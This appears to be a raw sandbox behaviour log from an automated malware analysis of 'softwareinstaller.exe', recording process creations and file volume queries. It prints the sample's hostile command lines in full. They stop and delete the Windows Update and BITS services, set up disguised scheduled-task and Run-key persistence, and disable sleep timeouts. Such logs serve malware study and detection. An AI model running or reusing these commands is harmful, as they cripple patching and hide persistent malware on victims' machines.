Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachineqc" /t reg_sz /f /d 'c:\program files\google\chrome\updater.exe' }	Jump to behavior

Source: C:\Users\user\Desktop\softwareinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
